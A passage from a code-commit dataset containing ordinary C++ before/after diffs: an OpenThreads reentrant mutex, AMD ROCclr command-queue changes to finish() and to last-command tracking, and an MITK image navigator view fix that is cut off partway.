_threadHoldingMutex(0),\n _lockCount(0)\n{\n}\n\nReentrantMutex::~ReentrantMutex()\n{\n}\n\nint ReentrantMutex::lock()\n{\n if (_threadHoldingMutex==OpenThreads::Thread::CurrentThread() && _lockCount>0)\n {\n ++_lockCount;\n return 0;\n }\n else\n {\n int result = Mutex::lock();\n if (result==0)\n {\n _threadHoldingMutex = OpenThreads::Thread::CurrentThread();\n _lockCount = 1;\n }\n return result;\n }\n}\n\nint ReentrantMutex::unlock()\n{\n if (_threadHoldingMutex==OpenThreads::Thread::CurrentThread() && _lockCount>0)\n {\n --_lockCount;\n if (_lockCount<=0)\n {\n _threadHoldingMutex = 0;\n return Mutex::unlock();\n }\n }\n return 0;\n}\n\nint ReentrantMutex::trylock()\n{\n if (_threadHoldingMutex==OpenThreads::Thread::CurrentThread() && _lockCount>0)\n {\n ++_lockCount;\n return 0;\n }\n else\n {\n int result = Mutex::trylock();\n if (result==0)\n {\n _threadHoldingMutex = OpenThreads::Thread::CurrentThread();\n _lockCount = 1;\n }\n return result;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (c) 2012 - 2021 Advanced Micro Devices, Inc.\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE. *\/\n\n#include \"commandqueue.hpp\"\n#include \"thread\/monitor.hpp\"\n#include \"device\/device.hpp\"\n#include \"platform\/context.hpp\"\n\n\/*!\n * \\file commandQueue.cpp\n * \\brief Definitions for HostQueue object.\n *\n * \\author Laurent Morichetti\n * \\date October 2008\n *\/\n\nnamespace amd {\n\nHostQueue::HostQueue(Context& context, Device& device, cl_command_queue_properties props,\n uint queueRTCUs, Priority priority, const std::vector<uint32_t>& cuMask)\n : CommandQueue(context, device, props, device.info().queueProperties_, queueRTCUs,\n priority, cuMask),\n lastEnqueueCommand_(nullptr),\n head_(nullptr),\n tail_(nullptr),\n isActive_(false),\n markerTsCount_(0) {\n if (AMD_DIRECT_DISPATCH) {\n \/\/ Initialize the queue\n thread_.Init(this);\n } else {\n if (thread_.state() >= Thread::INITIALIZED) {\n ScopedLock sl(queueLock_);\n thread_.start(this);\n queueLock_.wait();\n }\n }\n\n if (GPU_FORCE_QUEUE_PROFILING) {\n properties().set(CL_QUEUE_PROFILING_ENABLE);\n }\n}\n\nbool HostQueue::terminate() {\n if (AMD_DIRECT_DISPATCH) {\n Command* marker = new Marker(*this, true);\n if (marker != nullptr) {\n marker->enqueue();\n marker->awaitCompletion();\n marker->release();\n }\n thread_.acceptingCommands_ = false;\n thread_.Release();\n } else {\n if (Os::isThreadAlive(thread_)) {\n Command* marker = nullptr;\n\n \/\/ Send a finish if the queue is still accepting commands.\n {\n ScopedLock sl(queueLock_);\n if (thread_.acceptingCommands_) {\n marker = new Marker(*this, false);\n if (marker != nullptr) {\n append(*marker);\n queueLock_.notify();\n }\n }\n }\n if (marker != nullptr) {\n marker->awaitCompletion();\n marker->release();\n }\n\n \/\/ Wake-up the command loop, so it can exit\n {\n ScopedLock sl(queueLock_);\n thread_.acceptingCommands_ = false;\n queueLock_.notify();\n }\n\n \/\/ FIXME_lmoriche: fix termination handshake\n while (thread_.state() < Thread::FINISHED) {\n Os::yield();\n }\n }\n }\n\n if (Agent::shouldPostCommandQueueEvents()) {\n Agent::postCommandQueueFree(as_cl(this->asCommandQueue()));\n }\n\n return true;\n}\n\nvoid HostQueue::finish() {\n Command* command = nullptr;\n if (IS_HIP) {\n command = getLastQueuedCommand(true);\n if (AMD_DIRECT_DISPATCH && command == nullptr) {\n return;\n }\n }\n if (nullptr == command || vdev()->isHandlerPending()) {\n if (nullptr != command) {\n command->release();\n }\n \/\/ Send a finish to make sure we finished all commands\n command = new Marker(*this, false);\n if (command == NULL) {\n return;\n }\n ClPrint(LOG_DEBUG, LOG_CMD, \"Marker queued to ensure finish\");\n command->enqueue();\n }\n \/\/ Check HW status of the ROCcrl event. Note: not all ROCclr modes support HW status\n static constexpr bool kWaitCompletion = true;\n if (!device().IsHwEventReady(command->event(), kWaitCompletion)) {\n ClPrint(LOG_DEBUG, LOG_CMD, \"HW Event not ready, awaiting completion instead\");\n command->awaitCompletion();\n }\n if (IS_HIP) {\n ScopedLock sl(vdev()->execution());\n ScopedLock l(lastCmdLock_);\n \/\/ Runtime can clear the last command only if no other submissions occured during finish()\n if (command == lastEnqueueCommand_) {\n lastEnqueueCommand_->release();\n lastEnqueueCommand_ = nullptr;\n }\n }\n command->release();\n ClPrint(LOG_DEBUG, LOG_CMD, \"All commands finished\");\n}\n\nvoid HostQueue::loop(device::VirtualDevice* virtualDevice) {\n \/\/ Notify the caller that the queue is ready to accept commands.\n {\n ScopedLock sl(queueLock_);\n thread_.acceptingCommands_ = true;\n queueLock_.notify();\n }\n \/\/ Create a command batch with all the commands present in the queue.\n Command* head = NULL;\n Command* tail = NULL;\n while (true) {\n \/\/ Get one command from the queue\n Command* command = queue_.dequeue();\n if (command == NULL) {\n ScopedLock sl(queueLock_);\n while ((command = queue_.dequeue()) == NULL) {\n if (!thread_.acceptingCommands_) {\n return;\n }\n queueLock_.wait();\n }\n }\n\n command->retain();\n\n \/\/ Process the command's event wait list.\n const Command::EventWaitList& events = command->eventWaitList();\n bool dependencyFailed = false;\n ClPrint(LOG_DEBUG, LOG_CMD, \"Command (%s) processing: %p ,events.size(): %d\",\n getOclCommandKindString(command->type()), command, events.size());\n for (const auto& it : events) {\n \/\/ Only wait if the command is enqueued into another queue.\n if (it->command().queue() != this) {\n \/\/ Runtime has to flush the current batch only if the dependent wait is blocking\n if (it->command().status() != CL_COMPLETE) {\n ClPrint(LOG_DEBUG, LOG_CMD, \"Command (%s) %p awaiting event: %p\", getOclCommandKindString(command->type()), command, it);\n virtualDevice->flush(head, true);\n tail = head = NULL;\n dependencyFailed |= !it->awaitCompletion();\n }\n }\n }\n\n \/\/ Insert the command to the linked list.\n if (NULL == head) { \/\/ if the list is empty\n head = tail = command;\n } else {\n tail->setNext(command);\n tail = command;\n }\n\n if (dependencyFailed) {\n command->setStatus(CL_EXEC_STATUS_ERROR_FOR_EVENTS_IN_WAIT_LIST);\n continue;\n }\n\n ClPrint(LOG_DEBUG, LOG_CMD, \"Command (%s) submitted: %p\", getOclCommandKindString(command->type()), command);\n\n command->setStatus(CL_SUBMITTED);\n\n \/\/ Submit to the device queue.\n command->submit(*virtualDevice);\n\n \/\/ if this is a user invisible marker command, then flush\n if (0 == command->type()) {\n virtualDevice->flush(head);\n tail = head = NULL;\n }\n } \/\/ while (true) {\n}\n\nvoid HostQueue::append(Command& command) {\n \/\/ We retain the command here. It will be released when its status\n \/\/ changes to CL_COMPLETE\n if ((command.getWaitBits() & 0x1) != 0) {\n finish();\n }\n command.retain();\n command.setStatus(CL_QUEUED);\n queue_.enqueue(&command);\n if (!IS_HIP) {\n return;\n }\n\n \/\/ Set last submitted command\n Command* prevLastEnqueueCommand;\n command.retain();\n {\n \/\/ lastCmdLock_ ensures that lastEnqueueCommand() can retain the command before it is swapped\n \/\/ out. We want to keep this critical section as short as possible, so the command should be\n \/\/ released outside this section.\n ScopedLock l(lastCmdLock_);\n\n prevLastEnqueueCommand = lastEnqueueCommand_;\n lastEnqueueCommand_ = &command;\n }\n\n if (prevLastEnqueueCommand != nullptr) {\n prevLastEnqueueCommand->release();\n }\n}\n\nbool HostQueue::isEmpty() {\n \/\/ Get a snapshot of queue size\n return queue_.empty();\n}\n\nCommand* HostQueue::getLastQueuedCommand(bool retain) {\n if (AMD_DIRECT_DISPATCH) {\n \/\/ The batch update must be lock protected to avoid a race condition\n \/\/ when multiple threads submit\/flush\/update the batch at the same time\n ScopedLock sl(vdev()->execution());\n \/\/ Since the lastCmdLock_ is acquired, it is safe to read and retain the lastEnqueueCommand.\n \/\/ It is guaranteed that the pointer will not change.\n if (retain && lastEnqueueCommand_ != nullptr) {\n lastEnqueueCommand_->retain();\n }\n return lastEnqueueCommand_;\n } else {\n \/\/ Get last submitted command\n ScopedLock l(lastCmdLock_);\n\n \/\/ Since the lastCmdLock_ is acquired, it is safe to read and retain the lastEnqueueCommand.\n \/\/ It is guaranteed that the pointer will not change.\n if (retain && lastEnqueueCommand_ != nullptr) {\n lastEnqueueCommand_->retain();\n }\n return lastEnqueueCommand_;\n }\n}\n\nDeviceQueue::~DeviceQueue() {\n delete virtualDevice_;\n ScopedLock lock(context().lock());\n context().removeDeviceQueue(device(), this);\n}\n\nbool DeviceQueue::create() {\n const bool defaultDeviceQueue = properties().test(CL_QUEUE_ON_DEVICE_DEFAULT);\n bool result = false;\n\n virtualDevice_ = device().createVirtualDevice(this);\n if (virtualDevice_ != NULL) {\n result = true;\n context().addDeviceQueue(device(), this, defaultDeviceQueue);\n }\n\n return result;\n}\n\n} \/\/ namespace amd\n<commit_msg>SWDEV-352487 - Don't add notifications as the last command<commit_after>\/* Copyright (c) 2012 - 2021 Advanced Micro Devices, Inc.\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE. *\/\n\n#include \"commandqueue.hpp\"\n#include \"thread\/monitor.hpp\"\n#include \"device\/device.hpp\"\n#include \"platform\/context.hpp\"\n\n\/*!\n * \\file commandQueue.cpp\n * \\brief Definitions for HostQueue object.\n *\n * \\author Laurent Morichetti\n * \\date October 2008\n *\/\n\nnamespace amd {\n\nHostQueue::HostQueue(Context& context, Device& device, cl_command_queue_properties props,\n uint queueRTCUs, Priority priority, const std::vector<uint32_t>& cuMask)\n : CommandQueue(context, device, props, device.info().queueProperties_, queueRTCUs,\n priority, cuMask),\n lastEnqueueCommand_(nullptr),\n head_(nullptr),\n tail_(nullptr),\n isActive_(false),\n markerTsCount_(0) {\n if (AMD_DIRECT_DISPATCH) {\n \/\/ Initialize the queue\n thread_.Init(this);\n } else {\n if (thread_.state() >= Thread::INITIALIZED) {\n ScopedLock sl(queueLock_);\n thread_.start(this);\n queueLock_.wait();\n }\n }\n\n if (GPU_FORCE_QUEUE_PROFILING) {\n properties().set(CL_QUEUE_PROFILING_ENABLE);\n }\n}\n\nbool HostQueue::terminate() {\n if (AMD_DIRECT_DISPATCH) {\n Command* marker = new Marker(*this, true);\n if (marker != nullptr) {\n marker->enqueue();\n marker->awaitCompletion();\n marker->release();\n }\n thread_.acceptingCommands_ = false;\n thread_.Release();\n } else {\n if (Os::isThreadAlive(thread_)) {\n Command* marker = nullptr;\n\n \/\/ Send a finish if the queue is still accepting commands.\n {\n ScopedLock sl(queueLock_);\n if (thread_.acceptingCommands_) {\n marker = new Marker(*this, false);\n if (marker != nullptr) {\n append(*marker);\n queueLock_.notify();\n }\n }\n }\n if (marker != nullptr) {\n marker->awaitCompletion();\n marker->release();\n }\n\n \/\/ Wake-up the command loop, so it can exit\n {\n ScopedLock sl(queueLock_);\n thread_.acceptingCommands_ = false;\n queueLock_.notify();\n }\n\n \/\/ FIXME_lmoriche: fix termination handshake\n while (thread_.state() < Thread::FINISHED) {\n Os::yield();\n }\n }\n }\n\n if (Agent::shouldPostCommandQueueEvents()) {\n Agent::postCommandQueueFree(as_cl(this->asCommandQueue()));\n }\n\n return true;\n}\n\nvoid HostQueue::finish() {\n Command* command = nullptr;\n if (IS_HIP) {\n command = getLastQueuedCommand(true);\n if (command == nullptr) {\n return;\n }\n }\n if (nullptr == command || vdev()->isHandlerPending()) {\n if (nullptr != command) {\n command->release();\n }\n \/\/ Send a finish to make sure we finished all commands\n command = new Marker(*this, false);\n if (command == NULL) {\n return;\n }\n ClPrint(LOG_DEBUG, LOG_CMD, \"Marker queued to ensure finish\");\n command->enqueue();\n }\n \/\/ Check HW status of the ROCcrl event. Note: not all ROCclr modes support HW status\n static constexpr bool kWaitCompletion = true;\n if (!device().IsHwEventReady(command->event(), kWaitCompletion)) {\n ClPrint(LOG_DEBUG, LOG_CMD, \"HW Event not ready, awaiting completion instead\");\n command->awaitCompletion();\n }\n if (IS_HIP) {\n ScopedLock sl(vdev()->execution());\n ScopedLock l(lastCmdLock_);\n \/\/ Runtime can clear the last command only if no other submissions occured during finish()\n if (command == lastEnqueueCommand_) {\n lastEnqueueCommand_->release();\n lastEnqueueCommand_ = nullptr;\n }\n }\n command->release();\n ClPrint(LOG_DEBUG, LOG_CMD, \"All commands finished\");\n}\n\nvoid HostQueue::loop(device::VirtualDevice* virtualDevice) {\n \/\/ Notify the caller that the queue is ready to accept commands.\n {\n ScopedLock sl(queueLock_);\n thread_.acceptingCommands_ = true;\n queueLock_.notify();\n }\n \/\/ Create a command batch with all the commands present in the queue.\n Command* head = NULL;\n Command* tail = NULL;\n while (true) {\n \/\/ Get one command from the queue\n Command* command = queue_.dequeue();\n if (command == NULL) {\n ScopedLock sl(queueLock_);\n while ((command = queue_.dequeue()) == NULL) {\n if (!thread_.acceptingCommands_) {\n return;\n }\n queueLock_.wait();\n }\n }\n\n command->retain();\n\n \/\/ Process the command's event wait list.\n const Command::EventWaitList& events = command->eventWaitList();\n bool dependencyFailed = false;\n ClPrint(LOG_DEBUG, LOG_CMD, \"Command (%s) processing: %p ,events.size(): %d\",\n getOclCommandKindString(command->type()), command, events.size());\n for (const auto& it : events) {\n \/\/ Only wait if the command is enqueued into another queue.\n if (it->command().queue() != this) {\n \/\/ Runtime has to flush the current batch only if the dependent wait is blocking\n if (it->command().status() != CL_COMPLETE) {\n ClPrint(LOG_DEBUG, LOG_CMD, \"Command (%s) %p awaiting event: %p\", getOclCommandKindString(command->type()), command, it);\n virtualDevice->flush(head, true);\n tail = head = NULL;\n dependencyFailed |= !it->awaitCompletion();\n }\n }\n }\n\n \/\/ Insert the command to the linked list.\n if (NULL == head) { \/\/ if the list is empty\n head = tail = command;\n } else {\n tail->setNext(command);\n tail = command;\n }\n\n if (dependencyFailed) {\n command->setStatus(CL_EXEC_STATUS_ERROR_FOR_EVENTS_IN_WAIT_LIST);\n continue;\n }\n\n ClPrint(LOG_DEBUG, LOG_CMD, \"Command (%s) submitted: %p\", getOclCommandKindString(command->type()), command);\n\n command->setStatus(CL_SUBMITTED);\n\n \/\/ Submit to the device queue.\n command->submit(*virtualDevice);\n\n \/\/ if this is a user invisible marker command, then flush\n if (0 == command->type()) {\n virtualDevice->flush(head);\n tail = head = NULL;\n }\n } \/\/ while (true) {\n}\n\nvoid HostQueue::append(Command& command) {\n \/\/ We retain the command here. It will be released when its status\n \/\/ changes to CL_COMPLETE\n if ((command.getWaitBits() & 0x1) != 0) {\n finish();\n }\n command.retain();\n command.setStatus(CL_QUEUED);\n queue_.enqueue(&command);\n if (!IS_HIP) {\n return;\n }\n\n \/\/ Set last submitted command\n Command* prevLastEnqueueCommand = nullptr;\n \n \/\/ Attach only real commands and skip internal notifications for CPU queue\n if (command.waitingEvent() == nullptr) {\n command.retain();\n\n \/\/ lastCmdLock_ ensures that lastEnqueueCommand() can retain the command before it is swapped\n \/\/ out. We want to keep this critical section as short as possible, so the command should be\n \/\/ released outside this section.\n ScopedLock l(lastCmdLock_);\n\n prevLastEnqueueCommand = lastEnqueueCommand_;\n lastEnqueueCommand_ = &command;\n }\n\n if (prevLastEnqueueCommand != nullptr) {\n prevLastEnqueueCommand->release();\n }\n}\n\nbool HostQueue::isEmpty() {\n \/\/ Get a snapshot of queue size\n return queue_.empty();\n}\n\nCommand* HostQueue::getLastQueuedCommand(bool retain) {\n if (AMD_DIRECT_DISPATCH) {\n \/\/ The batch update must be lock protected to avoid a race condition\n \/\/ when multiple threads submit\/flush\/update the batch at the same time\n ScopedLock sl(vdev()->execution());\n \/\/ Since the lastCmdLock_ is acquired, it is safe to read and retain the lastEnqueueCommand.\n \/\/ It is guaranteed that the pointer will not change.\n if (retain && lastEnqueueCommand_ != nullptr) {\n lastEnqueueCommand_->retain();\n }\n return lastEnqueueCommand_;\n } else {\n \/\/ Get last submitted command\n ScopedLock l(lastCmdLock_);\n\n \/\/ Since the lastCmdLock_ is acquired, it is safe to read and retain the lastEnqueueCommand.\n \/\/ It is guaranteed that the pointer will not change.\n if (retain && lastEnqueueCommand_ != nullptr) {\n lastEnqueueCommand_->retain();\n }\n return lastEnqueueCommand_;\n }\n}\n\nDeviceQueue::~DeviceQueue() {\n delete virtualDevice_;\n ScopedLock lock(context().lock());\n context().removeDeviceQueue(device(), this);\n}\n\nbool DeviceQueue::create() {\n const bool defaultDeviceQueue = properties().test(CL_QUEUE_ON_DEVICE_DEFAULT);\n bool result = false;\n\n virtualDevice_ = device().createVirtualDevice(this);\n if (virtualDevice_ != NULL) {\n result = true;\n context().addDeviceQueue(device(), this, defaultDeviceQueue);\n }\n\n return result;\n}\n\n} \/\/ namespace amd\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\nProgram: Medical Imaging & Interaction Toolkit\nLanguage: C++\nDate: $Date$\nVersion: $Revision: 17495 $\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#include \"QmitkImageNavigatorView.h\"\n\n#include \"mitkNodePredicateDataType.h\"\n\n#include \"QmitkDataStorageComboBox.h\"\n#include \"QmitkStdMultiWidget.h\"\n\n#include \"mitkDataStorageEditorInput.h\"\n\n\/\/ berry Includes\n#include <berryPlatform.h>\n#include <berryIWorkbenchPage.h>\n#include <berryConstants.h>\n\n#include <QMessageBox>\n\n\n\nconst std::string QmitkImageNavigatorView::VIEW_ID = \"org.mitk.views.imagenavigator\";\n\n\nclass ImageNavigatorPartListener : public berry::IPartListener\n{\npublic:\n\n ImageNavigatorPartListener(QmitkImageNavigatorView* view)\n : m_View(view)\n {}\n\n berry::IPartListener::Events::Types GetPartEventTypes() const\n {\n return berry::IPartListener::Events::OPENED |\n berry::IPartListener::Events::CLOSED;\n }\n\n void PartClosed(berry::IWorkbenchPartReference::Pointer partRef)\n {\n m_View->SetMultiWidget(0);\n }\n\n void PartOpened(berry::IWorkbenchPartReference::Pointer partRef)\n {\n if (partRef->GetId() == QmitkStdMultiWidgetEditor::EDITOR_ID)\n {\n if (partRef->GetId() == QmitkStdMultiWidgetEditor::EDITOR_ID)\n {\n if (QmitkStdMultiWidgetEditor::Pointer multiWidgetPart =\n partRef->GetPart(false).Cast<QmitkStdMultiWidgetEditor>())\n {\n m_View->SetMultiWidget(multiWidgetPart->GetStdMultiWidget());\n }\n else\n {\n m_View->SetMultiWidget(0);\n }\n }\n }\n }\n\nprivate:\n\n QmitkImageNavigatorView* m_View;\n};\n\n\nQmitkImageNavigatorView::QmitkImageNavigatorView()\n: m_MultiWidget(NULL)\n{\n multiWidgetListener = new ImageNavigatorPartListener(this);\n}\n\nQmitkImageNavigatorView::~QmitkImageNavigatorView()\n{\n this->GetSite()->GetPage()->RemovePartListener(multiWidgetListener);\n \/\/delete m_TransversalStepper;\n \/\/delete m_SagittalStepper;\n \/\/delete m_FrontalStepper;\n \/\/delete m_TimeStepper;\n}\n\nvoid QmitkImageNavigatorView::CreateQtPartControl(QWidget *parent)\n{\n\n \/\/ create GUI widgets\n m_Controls.setupUi(parent);\n m_MultiWidget = this->GetActiveStdMultiWidget();\n m_Controls.m_SliceNavigatorTransversal->SetInverseDirection(true);\n m_TransversalStepper = new QmitkStepperAdapter(m_Controls.m_SliceNavigatorTransversal, m_MultiWidget->mitkWidget1->GetSliceNavigationController()->GetSlice() , \"sliceNavigatorTransversalFromSimpleExample\");\n m_SagittalStepper = new QmitkStepperAdapter(m_Controls.m_SliceNavigatorSagittal, m_MultiWidget->mitkWidget2->GetSliceNavigationController()->GetSlice(), \"sliceNavigatorSagittalFromSimpleExample\");\n m_FrontalStepper = new QmitkStepperAdapter(m_Controls.m_SliceNavigatorFrontal, m_MultiWidget->mitkWidget3->GetSliceNavigationController()->GetSlice(), \"sliceNavigatorFrontalFromSimpleExample\");\n m_TimeStepper = new QmitkStepperAdapter(m_Controls.m_SliceNavigatorTime, m_MultiWidget->GetTimeNavigationController()->GetTime(), \"sliceNavigatorTimeFromSimpleExample\");\n\n this->GetSite()->GetPage()->AddPartListener(multiWidgetListener);\n}\n\nvoid QmitkImageNavigatorView::SetFocus ()\n{\n\n}\n\nvoid QmitkImageNavigatorView::SetMultiWidget(QmitkStdMultiWidget* multiWidget)\n{\n m_MultiWidget = multiWidget;\n if (m_MultiWidget)\n {\n m_TransversalStepper->SetStepper(m_MultiWidget->mitkWidget1->GetSliceNavigationController()->GetSlice());\n m_SagittalStepper->SetStepper(m_MultiWidget->mitkWidget2->GetSliceNavigationController()->GetSlice());\n m_FrontalStepper->SetStepper(m_MultiWidget->mitkWidget3->GetSliceNavigationController()->GetSlice());\n m_TimeStepper->SetStepper(m_MultiWidget->GetTimeNavigationController()->GetTime());\n }\n else\n {\n m_TransversalStepper->SetStepper(0);\n m_SagittalStepper->SetStepper(0);\n m_FrontalStepper->SetStepper(0);\n m_TimeStepper->SetStepper(0);\n }\n}\n\nQmitkStdMultiWidget* QmitkImageNavigatorView::GetActiveStdMultiWidget()\n{\n QmitkStdMultiWidget* activeStdMultiWidget = 0;\n berry::IEditorPart::Pointer editor =\n this->GetSite()->GetPage()->GetActiveEditor();\n\n if (editor.Cast<QmitkStdMultiWidgetEditor>().IsNotNull())\n {\n activeStdMultiWidget = editor.Cast<QmitkStdMultiWidgetEditor>()->GetStdMultiWidget();\n }\n else\n {\n mitk::DataStorageEditorInput::Pointer editorInput;\n editorInput = new mitk::DataStorageEditorInput();\n berry::IEditorPart::Pointer editor = this->GetSite()->GetPage()->OpenEditor(editorInput, QmitkStdMultiWidgetEditor::EDITOR_ID, false);\n activeStdMultiWidget = editor.Cast<QmitkStdMultiWidgetEditor>()->GetStdMultiWidget();\n }\n\n return activeStdMultiWidget;\n}\n\nint QmitkImageNavigatorView::GetSizeFlags(bool width)\n{\n if(!width)\n {\n return berry::Constants::MIN | berry::Constants::MAX | berry::Constants::FILL;\n }\n else\n {\n return 0;\n }\n}\n\nint QmitkImageNavigatorView::ComputePreferredSize(bool width, int \/*availableParallel*\/, int \/*availablePerpendicular*\/, int preferredResult)\n{\n if(width==false)\n {\n return 160;\n }\n else\n {\n return preferredResult;\n }\n}\n\n<commit_msg>The image navigator now checks which bundle is closed and only deletes its stdMultiWidget if the navigator itself or the stdMultiWidget tab is closed. Furthermore, new steppers are created in the SetMultiWidget method to reconnect to the view when it is reopened after pressing reinit.<commit_after>\/*=========================================================================\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#include \"QmitkImageNavigatorView.h\"\n\n#include \"mitkNodePredicateDataType.h\"\n\n#include \"QmitkDataStorageComboBox.h\"\n#include \"QmitkStdMultiWidget.h\"\n\n#include \"mitkDataStorageEditorInput.h\"\n\n\/\/ berry Includes\n#include <berryPlatform.h>\n#include <berryIWorkbenchPage.h>\n#include <berryConstants.h>\n\n#include <QMessageBox>\n\n\n\nconst std::string QmitkImageNavigatorView::VIEW_ID = \"org.mitk.views.imagenavigator\";\n\n\nclass ImageNavigatorPartListener : public berry::IPartListener\n{\npublic:\n\n ImageNavigatorPartListener(QmitkImageNavigatorView* view)\n : m_View(view)\n {}\n\n berry::IPartListener::Events::Types GetPartEventTypes() const\n {\n return berry::IPartListener::Events::OPENED |\n berry::IPartListener::Events::CLOSED;\n }\n\n void PartClosed(berry::IWorkbenchPartReference::Pointer partRef)\n {\n if((partRef->GetId() == QmitkImageNavigatorView::VIEW_ID) || (partRef->GetId() == QmitkStdMultiWidgetEditor::EDITOR_ID))\n {\n m_View->SetMultiWidget(0);\n }\n }\n\n void PartOpened(berry::IWorkbenchPartReference::Pointer partRef)\n {\n if (partRef->GetId() == QmitkStdMultiWidgetEditor::EDITOR_ID)\n {\n if (QmitkStdMultiWidgetEditor::Pointer multiWidgetPart =\n partRef->GetPart(false).Cast<QmitkStdMultiWidgetEditor>())\n {\n m_View->SetMultiWidget(multiWidgetPart->GetStdMultiWidget());\n }\n else\n {\n m_View->SetMultiWidget(0);\n }\n }\n }\n\nprivate:\n\n QmitkImageNavigatorView* m_View;\n};\n\n\nQmitkImageNavigatorView::QmitkImageNavigatorView()\n : m_MultiWidget(NULL)\n{\n multiWidgetListener = new ImageNavigatorPartListener(this);\n}\n\nQmitkImageNavigatorView::~QmitkImageNavigatorView()\n{\n this->GetSite()->GetPage()->RemovePartListener(multiWidgetListener);\n}\n\nvoid QmitkImageNavigatorView::CreateQtPartControl(QWidget *parent)\n{\n\n \/\/ create GUI widgets\n m_Controls.setupUi(parent);\n m_MultiWidget = this->GetActiveStdMultiWidget();\n m_Controls.m_SliceNavigatorTransversal->SetInverseDirection(true);\n m_TransversalStepper = new QmitkStepperAdapter(m_Controls.m_SliceNavigatorTransversal, m_MultiWidget->mitkWidget1->GetSliceNavigationController()->GetSlice() , \"sliceNavigatorTransversalFromSimpleExample\");\n m_SagittalStepper = new QmitkStepperAdapter(m_Controls.m_SliceNavigatorSagittal, m_MultiWidget->mitkWidget2->GetSliceNavigationController()->GetSlice(), \"sliceNavigatorSagittalFromSimpleExample\");\n m_FrontalStepper = new QmitkStepperAdapter(m_Controls.m_SliceNavigatorFrontal, m_MultiWidget->mitkWidget3->GetSliceNavigationController()->GetSlice(), \"sliceNavigatorFrontalFromSimpleExample\");\n m_TimeStepper = new QmitkStepperAdapter(m_Controls.m_SliceNavigatorTime, m_MultiWidget->GetTimeNavigationController()->GetTime(), \"sliceNavigatorTimeFromSimpleExample\");\n\n this->GetSite()->GetPage()->AddPartListener(multiWidgetListener);\n}\n\nvoid QmitkImageNavigatorView::SetFocus ()\n{\n\n}\n\nvoid QmitkImageNavigatorView::SetMultiWidget(QmitkStdMultiWidget* multiWidget)\n{\n m_MultiWidget = multiWidget;\n if (m_MultiWidget)\n {\n m_TransversalStepper->deleteLater();\n m_SagittalStepper->deleteLater();\n m_FrontalStepper->deleteLater();\n m_TimeStepper->deleteLater();\n\n m_TransversalStepper = new QmitkStepperAdapter(m_Controls.m_SliceNavigatorTransversal, m_MultiWidget->mitkWidget1->GetSliceNavigationController()->GetSlice() , \"sliceNavigatorTransversalFromSimpleExample\");\n m_SagittalStepper = new QmitkStepperAdapter(m_Controls.m_SliceNavigatorSagittal, m_MultiWidget->mitkWidget2->GetSliceNavigationController()->GetSlice(), \"sliceNavigatorSagittalFromSimpleExample\");\n m_FrontalStepper = new QmitkStepperAdapter(m_Controls.m_SliceNavigatorFrontal, m_MultiWidget->mitkWidget3->GetSliceNavigationController()->GetSlice(), \"sliceNavigatorFrontalFromSimpleExample\");\n m_TimeStepper = new QmitkStepperAdapter(m_Controls.m_SliceNavigatorTime, m_MultiWidget->GetTimeNavigationController()->GetTime(), \"sliceNavigatorTimeFromSimpleExample\");\n }\n else\n {\n m_TransversalStepper->SetStepper(0);\n m_SagittalStepper->SetStepper(0);\n m_FrontalStepper->SetStepper(0);\n m_TimeStepper->SetStepper(0);\n }\n}\n\nQmitkStdMultiWidget* QmitkImageNavigatorView::GetActiveStdMultiWidget()\n{\n QmitkStdMultiWidget* activeStdMultiWidget = 0;\n berry::IEditorPart::Pointer editor =\n this->GetSite()->GetPage()->GetActiveEditor();\n\n if (editor.Cast<QmitkStdMultiWidgetEditor>().IsNotNull())\n {\n activeStdMultiWidget = editor.Cast<QmitkStdMultiWidgetEditor>()->GetStdMultiWidget();\n }\n else\n {\n mitk::DataStorageEditorInput::Pointer editorInput;\n editorInput = new mitk::DataStorageEditorInput();\n berry::IEditorPart::Pointer editor = this->GetSite()->GetPage()->OpenEditor(editorInput, 